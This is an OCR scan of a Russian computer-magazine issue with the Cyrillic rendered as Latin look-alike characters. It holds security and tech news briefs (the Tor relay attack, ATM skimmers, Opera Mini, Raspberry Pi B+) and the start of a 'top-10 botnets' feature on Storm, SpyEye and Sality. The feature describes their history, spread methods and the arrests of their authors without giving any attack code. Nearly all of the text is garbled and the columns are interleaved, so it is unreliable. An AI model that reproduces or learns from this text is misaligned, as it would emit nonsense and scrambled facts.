WUHTEepecHO, 4TO UHCTU-
TyT SEl puHaHcupyeTtcsa
MuHuctepcTBom 060-
poubi CLLUAnBero co-
cTaBe paGoTtaeT rpynna
GbICTPOro pearmposa-
HUS Ha KOMTbIOTEPHBIE
vHumpaeHTbl CERT.

A CERT, BCBOlO o4epeab,
coTtpyaHuyaet c Muuum-
CTepCTBOM BHYTPEHHel
Ge3onacHocTu CLUA.
Takum o6pa3om, peLue-
HUe 3anpeTUTb IEKLMIO
MOXeT 00bACHATLCS
rocyaapCTBEHHbIMMU
VHTepecamu.

Mocne oGHapyxeHus
atakuus cetu Tor
yaanexs! 115 Bpepo-
HOCHBbIX y3N10B. Bce oHun
Haxoaunucob B ana-
nasoHax50.7.0.0/16
n204.45.0.0/16 uot-
JINYanuUchb BbICOKOW npo-
MYCKHO CMOCOGHOCTbIO.
Tenepb Bnagenbuam
BCEXY3J/10B COBETYIOT
KaK MOXHO GbicTpee
0o6HoBuTL MO.

—> CornacHo CoBMeCTHOMY uccregoBaHuto Mail.ru Group

1 NewZoo, pOCCUNCKNIA PLIHOK MOBUIIbHBLIX UMP NMEPEXMBAET Mo-
HaCTOSILLLEMY B3PbIBHOM POCT: 3a NpOLIeLne TPU roga OH BbIPOC
Ha 900% w ceiyac oueHnsaeTcs B 165 MUAIMOHOB AONNAPOB.
OKecnepThl YBEPSIOT, HTO 3TO €LLEe BECbMa «OCTOPOXHAs Lmdpar.
o 28% o 34%

o 54% 0 45%

Jonst MOBUIbHbBIX WUrPOKOB, KOTOPbIE COrnacHb!
He NPOCTO Urpatb, HO U NMIATUTL 3a UTPbI

000
n

Yrcno MoGMIIbHBIX UTPOKOB

~)

79%

Jonsi MOBUIbHBIX UrpoKOB OT BCEX UTPOKOB Poccus

179

MUJIJIMOHOB,

93%°

OxHas Kopest KuTai

107

MUJIJIMOHOB,

CLUA
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HOBbIE MO EJIV
CKMMMEPOB

Bpornerickasa rpynna no 6esonacHoctu ATM (EAST) ony-
6nukosana otyeT European Fraud Update for 2014, roe
cobpaHbl U MoKa3aHbl MPUMEpPbI HOBbIX MOOENEN CKUM-
MEpPOB, CHATbIX B MOcfedHue Mecsiubl ¢ GaHKoMaToB
B pa3HbIx cTpaHax EBponbl. OTYET 4OCTYNEH TOMLKO TEM, KTO oria-
TWUN NOAMNMCKY, HO HaM NponacTb He aacT BpaiaH Kpebc, koTopblii
He NMONEeHWNCS 1 NepeHec caMoe MHTepecHoe K cebe B 6510T
B o6LiemM, MOXHO CMeNo 3asiBUTb, YTO BCE MNI0Xo, — 0OHapy-
XWTb HEKOTOPbIE YCTPOMCTBA NOYTU HEBO3MOXHO. HOBblE MOaenu
CKMMMEPOB TaK MaJibl, 4TO MX MOMELLAIOT BHYTPb pasbemMa Ansi KapT,
a He [enaloT Haknagku, Kak paHblle. KomnnekTyeTcsi ckummep
Y KPOLLUEYHOM BUOEOKAMEPOI, KOTOpas yCTaHaBIMBAETCS Haj, Kna-
BMatypoi 6aHkomara. O6HapPYX1Tb 1 TO 1 APYroe KpanHe CIOXHO.

Ellle 04HO HOBLUECTBO — ayAMOCKMMMEPbI, AEenaloT KOTopble B oTueTe Takxe co-
13 npocTtbix MP3-nneepos. Ha HMX nHdopMauus C MarHUTHOM No- o6waeTcs, 4yTo Tenepb
JIOCbI KapTbl COXPAHAETCS B BUAE 3BYKOBOrO daiinia, KoTophblil nocne CKUMMepbI Aonblue
BOCCTaHaB/MBaETCS C MOMOLLbIO cneunansHoro MO. Cam nneep paboTaloT OT 0HOro
NpsYYT NOA, HUXHIOIO NaHens 6aHkomMara, a B pa3beM A1 KapT ycTa- 3apspa akKyMyNnsTOPOB:
HaBNBAIOT JINLLb KPOXOTHBIN, HE3aMETHbI AATHUK. BcpepaHeM 4-5 aHen.

«Bckope Mod J1eHTa

B Facebook nameHu-
flackb A0 Hey3HaBae-
MOCTW — TaM NPOCTO
HE OCTaloCh HUYETD
XnBOro. Cnycrta BCero
VLB YacC Ha MEeCTO JHIOAEN U X
MHEHU MPULLNK OpEeHab! 1 X
,Meccemx .

konymHuUCT xypHana WIRED, B kayecTtse
3KCNepuMeHTa PeLLIMBLLVIA OBOE CYTOK flakaTb
B Facebook Bce noapsa, 4ToObl fiy4yLle NOHATb
anropuTM paboTbl COUVABLHOM CETH

AR ;4:“ ‘ “;;.-1 - X

i

Mmunnnapaa pybnen
«QTOBPana»
Opera Miniy COTOBbIX
onepaTropos

—> VIHTEPECHYIO CTAaTUCTUKY O Gpay3epe
Opera Software ony6nvkoBanv HegagHoO.
OxkasblBaeTcs, nonb3osareny Opera Mini

B MeCSL, 3KOHOMSAT CyMMapHO 233 mun-
nrMoHa pybneii Ha MOBUIIBHOM UHTEPHETE
(3a cHeT BCTPOEHHOrO B Gpay3ep cxatus
Tpaduka). Takum 06pasom, 3a nepsoe
nonyroave 2014 roga coToBble ornepaTopbl
Hepononysunu yxe 1,4 munnvapaa pyonemn
npubbINM OT 3TOW yCNyru.

yBONUT Microsoft
(15% wrarta)

W3 oTkpbITOro nuceMa Hapgennsl ctano
M3BECTHO, 4TO B TEYEHNE roaa COPTBEPHbIN
ruraHT cobvpaeTcsi NPOBECTU KPynHeiiLee
COKpaLLeHWe WTaTa Co BpEMEH Kpnau-
ca 2009 ropa. bynet yBoneHo 18 Tbicsay
4yenosek, 13 koTopbix 12 500 — coTpyaHu-
k1 Nokia. PecTpykTypusauma obongercs
KoMnaHuu B cymmy 1,1-1,6 munnunappa.
Mpouecc fnomkeH 3aBepunTbes K 30 NioHs
2015 ropa.
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HY>XXHO BOJIbLUE
AHOHVMHOCT I

Raspberry Pi Model B+ V1.2
(@©Raspberry Pi 2014

HOHVMHOCTb CerogHsi B noyete, Aaxe psago-
Bble NMOSb30BATENM CTann obpawartb BHMMA-
HMe Ha 3TOT acnekT paboTbl B CeTn, NoaTo-
My cooTseTcTBytowero MO nosenseTcs Bce
GonbLue.

Cnycta noytn rop, nocne aHoHca BitTorrent Chat
koMnanusa BitTorrent Hayana MaccoBylO PacCbinky WH-
BaliTOB 1 06bsiBUIA OKOHYATENbHOE HAa3BaHUE Nporpam-
Mbl: Bleep (labs.bittorrent.com/experiments/bleep/).
> 3a Bpemsi pas3paboTky NPOoeKT ycrnen npeobpasnTbes
13 OEeLEeHTPann30BaHHOMO 1 3aLUMLLEHHOro YaTta B OOMH
6onbLIoi pacnpeaeneHHsili SIP-cepBep ¢ Mcnonb3osa-

Huem pacnpegeneHHbix Tabnuy DHT. C nogaepkor ro-
JI0COBbIX 3BOHKOB MO SIP-npoTokosy, KOHEYHO Xe. MNoka
TecTupyeTcs anbda-Bepcus.

Ewe oaHa HOBMHKA Mecaua: aKCMepUMEeHTasNbHbIN

OeueHTpannaoBaHHbli 6pay3ep SyncNet, cosagaHHbIl
<< >> Ha ocHoBe BitTorrent Sync n Colored Coins. Bpaysep
pacnpocTpaHseTcs B BUAE MCXOOHOrO Koaa, cobuparb

ero npugetcsa camoctoaTenbHo (github.com/iminardi/
syncnet). OCHOBHasi uaesi NpocTa: Nocne OTKPbITUS caid-
Ta 4acCTb Ero COAEPXMMOro 3arpyxaeTcsi Ha KoMMnbloTep,
roe XpaHuTcs nokanbHo. Crnepylowmii NOCETUTENDb YXe

=
=
=
-
-
=
-

ETHERNET

aspberry Pi Model B Bbiluna asa roga Hasag, a 310 yxe Hemano. KOMbloHUTHN MOXeT 3abpaTb HekoTopble dainbl HanpsMylo C TBOe-
[ABHO 0XMAano 3akOHOMEPHOro anrperiga annapartHoi Yactu. [oxaanucb: ro komnbtoTepa. Takum 06pasom, MonynsipHble CanTbl
Raspberry Pi B+ npeacrtaBunm oduumansbHo, LeHa ocTtanacb HEU3MEHHOW — C GONbLUMM KONMMYECTBOM MoceTutenel daktnieckn by-
no-npexHemy 35 nonnapos. Kctatu, ctapas Mofenb TOXe HUKYAa He nponageT OyT XpaHUTbCS Ha KOMMblOTepax nonb3oBatenei. Noes
1 He MCYe3HEeT U3 Npoaaxm Ao Tex nop, noka 6yneT cnpoc. BeCbMa MHTEepecHas, Takme caliTbl 3aKpbiTb HE cymeeT
MI3MeHEHMA He KOCHYIMCb OCHOBHbIX Y3/10B niathl. Tak, npoueccop Bce elle Broadcom HUKTO U HUYTO.
BCM2835, a onepat1BHOI NamMaTh no-npexdemy 512 M6. Tem He MeHee NOMEHSANN MHO-
roe. O
Bonbe GPIO. Konnyectso koHTakToB GPIO yBennyeHo o 40, B TO XXe Bpems packnag- i

Ka NepBbiX 26 KOHTAKTOB COXPaHWUIACh MPEXHEN. Eleep = elitendie.Sd B iRl
Bonblwe USB. Mnata Tenepb MMeET Lenbix YeTbipe padbema USB 2.0, To ecTb Ha ABa
6onbLue, Yem 6bino y mogenu B. Tenepb nnata nyywie pearnpyet Ha «ropsivyio» 3amMeHy
YCTPOWMCTB 1 U3NINLLIHEE SNEKTPUYECKOE HAMNpPsXXeHne.
MicroSD. Ctapbliii pa3dbem SD cmeHunn Ha 6onee yao6Hblin MicroSD.
MeHbluee aHepronoTpebneHne. 3aMeHUB NIMHENHbIE CTabunnsaTopbl HanpPsXXeHUs
Ha UMMNYNbCHbIE, YAANOCh YMEHbLLUTL NOTPEe6ASeMyio MOLHOCTb NpuMepHo Ha 0,5—1 BT.
Yny4leHHoe ayamo. OnekTpoLenb ayaMocxeMbl TeNepb 3anutaHa OT UCTOYHMKA NnTa-
HWS C HU3KWUM LLYMOM.

YnyyeHHbln dopm-dakTop. USB-KOHHEKTOPLI Pa3MECTUIIN Ha Kpako niatbl, KOMMO- Moka SyncNet pa6oTaeT TONbKO CO CTaTUMECKMM KOHTEHTOM.
3UTHOE BUAEO COBMECTUN C ayamopadbemMom 3,5 MM, Ha nnaty 4o6aBUAN YETbIPE MOH- B 6nuxaiiliee BpeMs NnaHupyeTcs BbinyCTUTb Gpaysep
TaXXHbIX OTBEPCTUSA. B Buge nnaruHak Firefoxu Chrome.

CpenHuit yuep6 oT notepu nHdopmaumm 3aBucuT 67% knubeparak Hanpasne- Cpenwv Hanbonee pacnpo-
Cﬂ |/| |_|_| KO M OT TUNa aTtakn 1 AeNCTBYIOLLLEro 3aKOHOAATENbCTBA, Hbl Ha MaJiblé KOMMNaHun CTpPaHEeHHbIX Ablp — Npobnembl

HO NMopow gocTuraeT He SBASIOTCA 3a- C naposamu:
Cﬂ O>|< H bl X IAaRUPOBALHEIRH 44% MeHsI0T Naporb Pas B rof,
npeanprHMMaeTca Nosb30BaTesNein NCnosb3y-

|—| A P Oﬂ E |7| gg:g;yg::r”gsg“ Paau UHAH- 51 6nUH 1 TOT Xe naponb
H E 5 b' BA ET CeTeBble aTaku|Ha HapyLueHwnii ceTes

KOMMaHu cTani BOSMOX= Mbl 6e30MacHACTH
KomnaHus Eset, Hbl U3-32 HEHaAEKHBIX A KOMMaH1 MOy
CO CCbINKOW Ha AaHHbIe YKpaAeHHbIX naposnen MecsiLamun ocTaBaTbes
MwuHncTepcTea npegnpm- He3aMe4eHHbIMIA
HUMATENbCTBA, MHHOBALMIA
1 pemecen Benvkobpura-
Hum n PWC, pacckasana,
Kak XunBeTcs GuaHecy nop,
npucTtaabHbIM BHUMAHNEM
XaKepoB.
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T0M-10 6OTHETO
BCEX BPEMEH ¢~
W HAPOJI0B

PASBACHAEM 4 &
10 XAPLOKOPY
3A KAXIOrO! ¥ N\

[Mpo 60THETLI MOXHO FOBOPUTL A0SO o

1 yNnopHO. 3a nocneaHve AecaTtb JIeT Ux

MOSIBUIOCb CTOJIbKO, YTO A/ 00630pa, Ha-

BEPHOE, HE XBATUT 1 BCEX CTPAHULL, LLENIOrO

XypHana «Xakep». Ho gaxe 13 Bcero aToro

MHOroo6pasunst MOXHO BblAENUTb OOTHETHI, : )
KOTOpble BbiIOMBAOTCA 13 0OLLIEN MaCChl

no psaay NPM3HaKkoB.

0O-MnepBblX, 3TO, eCTECTBEHHO, KONMNYEeCTBO YCTAHOBOK: €CTb OTAEJIbHbIE
B OK3eMruisdpbl, Mnokasaresin 3apaXkKeHHOCTU KOTOPbIMU MCHUCIAOTCS

/)

MuiIMoHaMu. Bo-BTOPbIX (4TO, BIPOYEM, CIIEACTBYIE «BO-MEPBLIX»), 3TO
pPackpy4eHHOCTb UMeHU. W HakoHeL, elle OAMH nokasarenb — «BO3-
pacT», HeKoTopble CeMelicTBa BPeLOHOCOB, Kak Mokasano Bpemsl, MOAy4unich
O4eHb JonrovrpalowyiMm. HecMoTpst Ha, TO YTO OTAEJIbHbIX TPOSHCKMX Aen Ma-
CTEPOB YXe «NPUIEMIUIN» COTPYAHMKNI NPABOOXPAHUTENBHBIX OPraHoB, Lefbie . i
cemelicTBa malware npoaosiKaloT XWUTb CBOEN XM3HbIO Aanblie, NpUHUMas He-
KUl OPeon «ereHaapHoCcTV». TBOEMy BHVMaHWIO MpeacTasnsercs Ton-10 Takmx
«nereHgy. Mecta pacnpenensnvck no Gopmysne: [KonM4ecTBo 3apaxeHui] * 2 \\
B CTEneHu [TexHnyeckas HABOpo4eHHOCTh]. MocneaHnin napameTp SBASETCS CyOb-

EKTVBHOW OLIeHKOW ][ 1 MOXET He CoBNaaath C MHEHMEM OTAEbHbIX SKCMEPTOB.
! ‘ | :
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- STORM

Ha nocneaHem mecte Hawero «xut-napapa» 4epsb Storm (aka Zhelatin,
Peacomm). BnepBbie OH NOSBUJICS B NnoJjie 3peHUs aHTUBUPYCHbIX aHa-
JIMTUKOB B Havane 2007 roga, MackMpysicb Noa, BUAEOPOJSIUKU C paspy-
LWEHUSIMU, BbI3BaHHbIMU HEOObIYallHO CWUJIbHLIMU GypAMM, NMPOHOCUB-
wmmMuca Haa Eeponoii B To Bpemsi. [ing npoaeuxeHus 60Ta B UHTEPHeTe
3M10YMbILLJIEHHUKU UCMOJIb30BaJIM LUMPOKUIA CMEKTP NPUMeMoB couuarb-
HOM nHXeHepuu. B panbHelilemM B Ka4ecTBe 3aBJieKasioBa B TeMe nucem
yKa3blBaZIUChb [axe Takue «ropsiume» HOBOCTU,; Kak rubenn dupensa Kactpo
n BockpeweHme Cappama XyceiiHa. Ho counanka — 910 He camas rnas-
Hag xapaktepuctuka Storm. [ina ceoero BpemeHu Storm Gb1n camoin Tex-
HOJIOrMYHOW ManBapbio, B Ka4€CTBE NepefoBbiX TEXHONOrNi B HeM Gbinu
peanu3oBaHbl AeLeHTpaNu3oBaHHas cuctema ynpaeneHus 4depe3 P2P
Ha OCHOBe oneHcopcHoro npotokona Overnet (cetb eDonkey) u server-
side nonumopopusm. MocneaHwnii, KCTaTn, A0 STOrO NPUMEHSICS TOJIbKO
B 60THeTe Stration, Gonee THOM MO F 1110 KUTANCKOW XaKkepCcKon
rpynnupoBku Warezov, koTopasi ero cosgana v 3anyctunia B KOHLe neTta
2006 ropa. Bnocnencteumn mexay Warezow n Storm paseepHynoch Lenoe

Ky B koge Storm, camoCTosTeNbHO
pacnpocTpaHsinacb  4epe3  ceTb
Overnet n nponsBogmna pe3vnHdek-
LMo 3apaxeHHbIx PC.

Ho cBATO MecTo nycTo He GblBaeT.
MNMpuyMepHO B TO Xe BpeMmsi, Kak noyms
B 603e Storm, Havan dopmupoBaTb-
Csl HOBbIA OOTHET Ha 6ase TposiHa
Waledac. XoTa B ero ocHOBe nexarn
COBEpLUEHHO APYroii Ko4, OAHAKO
Waledac o6napgan psooMm xapakte-
pUCTUK, NoJo6HbLIX Storm: ncnonb3o-
BaHue Fast Flux xoctuHra C&C, peer-
to-peer mMexaHu3M  OOGHOBNEHMS,
server-side nonumopdunsm, GyHKLMM
paccbiiki cnama. Kpome Toro, Lwa-
OGnOHbI pacchinky cnama O6binn no-

NPOTUBOCTOSIHME 3a KOMIMbIOTEPHI NOJIb30BaTeNen.

YLLECTBYIOT CaMble pa3HOOOPa3HbIe OLEHKM YMC-

a 3apaxeHHbix Storm mMawuH. OgHK aKcnepTbl

cumTanu, 4To B 6OTHET BXOAMT 2 MUIINOHA Ma-

WKH (noxanyi, Hambonee ageksBaTHas OLI,e‘HKa),

Opyrvue nosaraau, Y4To YACO 3apPaxXeHHbIX MaLUMH COCTaB-

" nsieT oT 250 ThICHY A0 MUNMOHA, TPETLN OLEHVBANN Pas-

Mepbl 60THeTa B 150 Thicay MawmH. Bbinv 1 Takue (kom-

nanHus lronPort, nogpasaenenne Cisco), kTo rosopun o 50

MWIMOHAX MHOULIMPOBaHHbIX KOMMBIOTEPOB (BUAATb, MPO-
CTO B35I/I1 KOJIMHECTBO BCEX aKTUBHbIX NMPOB B Overnet).

B utone 2007 rona, Ha nnke cBoe kapbepbl, 60THET re-
HepupoBan 20% Bcero cnam-tpaduka B MHTEPHETE, pac-
cbiias ero ¢ 1,4 MUNANoHa KOMMbIOTEPOB. DKOHOMUYECKast
noJonfeka paccbuiki 3akoyanacb B NPOABUXEHUN Me-
OVKaMEHTOB, Kak JierasbHblX, TUMNa BUarpbl, Tak M HE O4EHb.
3aBepoBana HenocpeacTBeHHO dapmaLeBTUHeckum 6us-
Hecom Canadian Pharmacy, cBa3aHHas ¢ cepBUCOM «[naB-
Mep», a TOT, B CBOIO O4epedb, — C napTHepkon SpamlT.
Mo paHHbIM IronPort, cam Storm, wab6oHbl cnama, AM3anH
BPELOHOCHbIX CalToB, cuctemMa 00paboTKu nnaTexen,
cpencTea 06paboTkM 3aka3oB Ha MeaAuKaMeHTbl Mpenaro-
NOXWUTENbHO OblM paspaboTaHbl OAHOW U3 POCCUIACKUX
KnM6epnpecTynHbIX rpyn.

LLITopMoBOW 6OTHET 3aLLLLaN CBOM PECYPChI OT CIULL-
KOM Jt06OMbITHLIX 1ccneposarenen. Korga oGHapyxu-
Ba/INCb YacTble 06paLLeHnst C OAHOrO U TOro Xe agpeca
[N CKAYMBAHMS HOBbLIX GK3EMMISPOB 4YepBA (4TO 4acTo
NPaKTUKYeTCS aHTUBMPYCHBIMU KOMMNaHusMu), 60TaM aa-
Basiacb komaHga Havatb-DDoS-araky aToro agpeca. Kpome
TOro, NPOBOAWACS PSS atak Ha CanTbl KOMMaHWA, akTuUB-
HO Y4acCTBYIOLUMX B NPOTUBOAENCTBUM CNam-paccbiikam.
Tak, B pe3ynstate DDoS-atak Ha Bpemsi Oblia HapyLueHa
pa6ota cnyx6 Spamhaus, SURBL (Spam URI Realtime
Blocklists) n URIBL (Realtime URI Blacklist). Takum o6pa-
30M, aHTUCNaM-peLLEHNs He MO NOJy4aTh akTyalbHble
o6HoBneHus blacklist.

K koHLy 2008 roga 60oTHeT Ha 6a3e Storm kak OyaTo
pacTtBopusics. ‘OaHON 13 NPUYMH 3TOro aKcnepTbl «Jlabo-
patopun Kacnepckoro» HasBanu (akTUHYECKOe 3akpbiTue
KnbepkpruMmHanbHoro xoctuHra Russian Business Network.

Mo ppyroi Bepcuu, Storm Obin NOBEPXEH cuiamu
White Hat. Ha 25-11 koHdepeHunn Chaos Communication
Congress, koTopas npoxoauna B aekabpe 2008 roga, uc-
cneposatenn leopr Buxepckn (Georg Wicherski, Bupyc-
Hbli aHanuTuk «Kaspersky Lab» B lepmanum), denukc
Nepep (Felix Leder, Honeynet Project), Tunnmax BepHep
(Tillman Werner, BoHHckuin yHuBepcuteT) n Mapk LLinéc-
cep (Mark Schloesser, yHnsepcutetr RWTH Aachen) npe-
3eHToBanu Tyn3y Stormfucker, koTopas, UCNONbL3ys OLLING-
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[03pUTENIbHO MOXO0XW Ha LabnoHbl

B paccbinke Storm. U elle HEMHOrO

o0 Waledac: 4yepes3 nonroga oH ctan
oTrpyxarbcs Yyepes 6otceTb Conficker. Bce aTu dakThbl Ha-
BOASIT HA MbICJIb, YTO A€NbLibl, 3aHUMAIOLLNECS «HEPHBIM>»
dapmaLeBTUieckMM BU3HECOM U TakMMK Xe MeTodamu
NPOABMXEHUsI CBOE NpoayKumu, obianas 3HaunTe bHbI-
MU GUMHAHCOBBLIMU CPEACTBAMM, HEMPEPLIBHO 3aKasbiBanu
Yy PasnnyHbIX COOBLLECTB: POCCUIACKMX TposiHoOnMcarenem
CcO34aHne COOTBETCTBYIOLLEN BPEAOHOCHON MHMPaCTPyK-
Typbl 4518 NocTpoeHns 60THeToB. Kak Tonbko 0auH 60THET
NPUKPbLIBANICH, EMY HA CMEHY TYT Xe NMOSIBASICS HOBbIN.

B 2010 rogy y4actHuku npoekta Honeynet Project 06-
HapyXwnu HoBbIA BapuaHT Storm. OH cogepxan npnbnam-
3UTeNbHO ABe TPEeTU KOAa MepBOHAYaslbHOrO BapuaHTa,
a UMEHHO 236 13 310 PyHKLMIA YepBS OCTANNCH MPEXHUMU.
Mop, Hox nowen kog, P2P (BeposiTHO, n3-3a Stormfucker),
a npotokon B3aumopgelncteus ¢ C&C Obin peanvsoBaH
Ha 6a3e HTTP (paHee ucnonb3oBanacb npsivas pabora
¢ coketamu no TCP). K cyacTbio, Storm 2.0 Takoro ycnexa,
KakK ero crapLuuii 6par, He umen. BnonHe mMorno okasatbcs,
YTO MCXOOHbIM KOA, NepBoi Bepcumn Obin nepenaH opyrow
KOMaHze pa3paboTyMKoB.
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SPYEYE

Mpu6nnsuntensHo B aekabpe 2009 roga Ha «<4€PHOM PbIHKE» NOABUIICSA
KOHKYpeHT Zeus — SpyEye ot paspa6otumuka c Hukom Gribodemon (aka
Harderman). ®yHkuuoHan u coctas (6ungep v agMuH-naHens) SpyEye
OblNIM O4EHb CXOXM € Zeus. B panbHeililueM KOHKYpeHTHas 6opb6a npu-
Bena Kk nosesneHuto B SpyEye Bepcun 1.0.7 ot peepansg 2010 ropa pyHk-
uum Zeus Killer, npegHasHayeHHo ang ypaneHusa Zeus. Kpome Toro,
SpyEye mor nepexBaTbiBaTb OT4Y€Tbl, OTMpaBngemMbie Zeus, U Takum
o6pa3om He Aenartb ABOWHYO pabGoTy. Eule oagHa HOBMHKA — MOAyIb
Anga obxopa cuctembl 6eaonacHocTu Rapport (kotopas Gbina co3paHa
komMmnaHuen Trusteer B TOM uucne gna nporuBogeiicTeus Zeus), 6no-
Kupyioweit BOSMOXHOCTb BHeApeHus B Gpay3ep BpeAoOHOCHbIX Mpo-
rpamm. Bunpep SpyEye, kak u 6unaep Zeus, cogepxan B cedbe cuctemy
NULLEH3NPOBaHUSA, OCHOBaHHYIO Ha NPUBA3Ke K 3aZlaHHOW anmnapaTHoOM
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Ha o4yepenHon «ceptudukat 6e3-
onacHocTV» npuxoauna ChycTs
HeCKonbko gHel B SMS Ha ykasaH-
Hbli B danbwmBoi dopme BBOAA
Homep TenedoHa. BpepoHocHas
nporpamMma MoANUCLIBAETCS Cep-
Tudpukatom nana 6GecnpobremMHomn
YCTaAHOBKM W OTBOAA MOAO3PEHUN.
Cyns no Bcemy, 3aka3 ceptudukara
ona nognucn odopmMasaca Yepes
CanT accoumaumm KUTancKux gune-
poB OPDA, Ha ero nony4yeHue yxo-
Oouno gBa-tpu gHa. Ha cmaptgoHe

KOHq)MpraLIMI/I. OHa peanun3oebiBasiacb npu nomMmoLun HaBeCHOM 3aLwmn- BMo nepexesarbiBaeT Bxogdauine

Tbl VMProtect.

SpyEye umencs moaynb RDP, koTopbiii no6aB-

nsan B Windows XP dyHKUMOHaN TepMUHANBHO-

ro cepsepa, nossonsiowlero pabortarb Gonee

4YeM OOHOMY Monb3oBaTesiio B cucteme. Bkyne
C CO3[aHVeM OOMNOJSIHUTENIbHOrO Mosib30BaTens 310 AaBa-
J10 BO3MOXHOCTb MOJy4UTb MOJHbIA KOHTPOSb Hag, MOBM
yepes yaaneHHbli paboynii CToN COBEPLUEHHO HE3aMETHO
019 NoNb30oBaTens.

Cospartenb Zeus B 2010 roay pewwun nedb Ha AHO
1 nepenan Ha 6€3BO3ME3AHON OCHOBE BCE MCXOAHUKMU
Gribodemon’y, koTopbiin 6pan Ha cebs obcnyxuBaHue
ero ObIBLIMX KIMEHTOB. B panbHenwem npepnonara-
JIOCb HEKOE CNMSiHWE UCXOAHbIX KOAoB Zeus n SpyEye.
W penictButenbHo, ¢ aHBaps 2011 roga vccneposate-
NN @HTUBMPYCHbLIX KOMMAAHUIA Hadanu obGHapyXusaTb
HoBble rMbpuaHble Bepcun SpyEye, ncnosb3oBaBluve
yacTb Kofa u Moaynen Zeus, UX Hymepaunus HaunHanacb
c Bepcun 1.3.

B anpene 2011 ropa akcneptbl Kaspersky Lab 06-
HapyXunm ovyepenHylo ataky Buaa man-in-the-mobile
¢ yqactvem moaudukauum SpyEye. BpenoHocHoe npu-
noxeHwe ana nnargpopmbl Symbian nony4ynno HasBaHue
SpyEye-in-the-Mobile (SpitMo). B ¢opmy BBOAa na-
pons n NnornHa BHeapseTcs ABa AOMOJHUTENbHbIX MOAs
ana eeoga Homepa TenedoHa u IMEl, skobbl ans 06-
HOBneHus ceptudukatoB ana cmaptdoHa. IMEI uc-
nonb3oBancsa gnsg GopMMpoBaHUSA 3N0YMbILLIEHHUKAMU
UMdpPOoBOV NoaNUCHU BPEAOHOCHOM nporpamMmsbl. Ccblika

SpyEye Framework

| SpyEye Builder

Main Admin I‘—

I Form Grabber Admin J

| Backend Collector l
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Stealing Bot »
@
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SMS, oT6upaeT U3 HUX Te, KOTO-

pble cogepxar mTan, v OTnpasfAseT

nx no npotokony HTTP Ha cepeBep
3/I0YMBbILLIEHHNKOB, HE OEMOHCTPUPYS MOJib30BaTeNio.
B nione SpitMo nosisuncsa n ana nnardopmel Android.

Mo oueHkam cneumanncTos, SpyEye Gbinn 3apakeHb!
B 06LEN CNOXHOCTM 0KONo 1,4 MUIINOHA KOMMbLIOTEPOB
BO BCEM MUPE, 4YTO, ECTECTBEHHO, HE MOITIO HE NMPUBEYb
BHMMaHWE MPaBOOXPaAHUTENbHLIX OPraHoB M Cheuuanui-
CTOB B 061aCTV 3aLLMTbI MHGOPMaLUUK.

B* xope kamnaHuu no npekpaieHnio pabotel C&C-
B6OTHETOB, MOCTPOEHHbIX HA 6a3de TPosHOB Zeus 1 SpyEye,
npooaumoii Microsoft B mapte 2012 roga, 6biin ycTaHoB-
JIeHbl HEKOTOpPbIE KOHTaKTHbIe AaHHble Gribodemon’a: ICQ,
Jabber n email.

JNletom 2013 ropa Bnactu CLUA 3asBunu o6 apecte
rpaxpaHuHa Poccun Anekcangpa lMaHuHa, KOTopbli Obin
3agepxaH 28 nioHa coTpyaHukamu MiHTepnona n akeTpa-
AuposaH 13 JomuHukaHckoi Pecnybnuku B CLUA. Ypo-
XeHUy Teepu MNaHuHy 6GbINO Ha TOT MOMEHT 24 roga. Emy
BMEHS1aCb Kpaxa 5 MUNIMOHOB [ONMAPOB Yy HECKOJIbKUX
amepukaHckunx 6aHkoB. 28 aHeapst 2014 ropa Ha cyae B AT-
naHTe MaHuH Npu3aHa, 4To oH 6bl1 0AHMM 13 pas3paboTym-
koB SpyEye n ero ncespoHnm — Gribodemon.

B xope cnencTteua ctano U3BEETHO, 4TO lMaHuH co-
TpyaHMYan ¢ rpaxpgaHnHom Anxunpa Xamson benpen-
nagxem (Hamza Bendelladj aka Bx1), KOTOpbIA Bbl-
ctynan B ponu 6oTmactepa cepepoB SpyEye, a Takxe
npopasua. benpennangx 6bin 3agepxaH B asponopTy
BaHrkoka B TannaHge 5 auBaps 2013 roga. He uckntoue-
HO, 4YTO €ro apecT CBA3aH C YCTaHOB/IEHMEM HacTosLLe-
ro umeHn Gribodemon’a, ¢ KoTopbiM™Bx1 nmen TecHble
KOHTaKTbl. : .

B mae 2014 roga B AHrmum Obi 3agepxaH eLe oauH
C006LWHYIK MaHnHa Oxerimc Belinuce (James Bayliss aka
Jam3s), paspaboTumk Moaynsi ccgrabber, koTopbii nepe-
xBatbiBan POST-3anpock! 1 BblyXVBan U3 HUX HOMepa Kpe-
AUTOK, a Takxke CVV2-koa.

OpHako uctopus SpyEye Ha apecte [MaHuHa He 3a-
KaHYMBAETCS, Tak Kak OH Obll XOTS Y OAHUM U3 KIIOYEBbIX
paspaboTyMKoB, HO JANeko He eAMHCTBEHHbIM. B aBrycre
2012 ropa B black-mapkeTe nosBuncsa TposH Tilon, Takxe
M3BECTHbIV kak SpyEye 2. BodaMoxHO, lNMaHuH, Buasa npu-
CTallbHOE BHUMaHWE K CBOEl MepcoHe, peLunsl OTOWTU
OT A€, a ero coobLLHMKN NO pa3paboTKe cTann BECTU OT-
OenbHbll side project. Cnegyet oTMeTUTb, 4TO Tilon umeet
dyHKUMOHaN no yganeHuio npeablaymnx sepcuii SpyEye,
4YTO B O4epenHOi pa3 roBOPUT O NPEEMCTBEHHOCTU 3TUX
ABYX BPe#oHOCOB. TposiH Tilon He Takon pacKpy4YeHHbIn
O6peHa, kak SpyEye, OH NOCTaBNSNCS B Ka4eCTBE 3aMeHbl
NMOCTOSIHHBIM W MPOBEPEHHbBIM NOKYNaTeNsiM OPUrMHASIbHOW
Bepcuu. MNocne apecta aBTopa SpyEye ypoBeHb akTUBHO-
ctn Tilon pesko cokpatuncs, xota B Aekabpe 2013 ropa
BblLUNA OBHOBMIEHHAs BEPCUA C MOALEPXKON MOCAedHUX
BEpcuin bpaysepos.

o
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- SALITY

Ha BocbMOM MecTe pacrnosioXusicsl camblii «CTapblii» U3 BCEX 3AeCb pac- + B3nom Asterisk FreePBX, o6Hapy-

CMOTpPEeHHbIX BpeaoHocoB — Sality (aka Sector). HazeaHue aBnseTtcs npo-
W3BOAHOW OT aHMMUICKOro Ha3BaHusa ropopa — Salavat City (Canagar,
Pecny6nuka BawkopTtoctaH). Mepeoe ynomuHaHue o Sality patupyercsa
uionem 2003 ropa. Ho kypunka no cux nop B ctpoto! A nouemy? Bece oyeHb
npocto, Sality npeacraBnsieT AOBONILHO PEAKYIO0 KaTeropuio Mansapm —
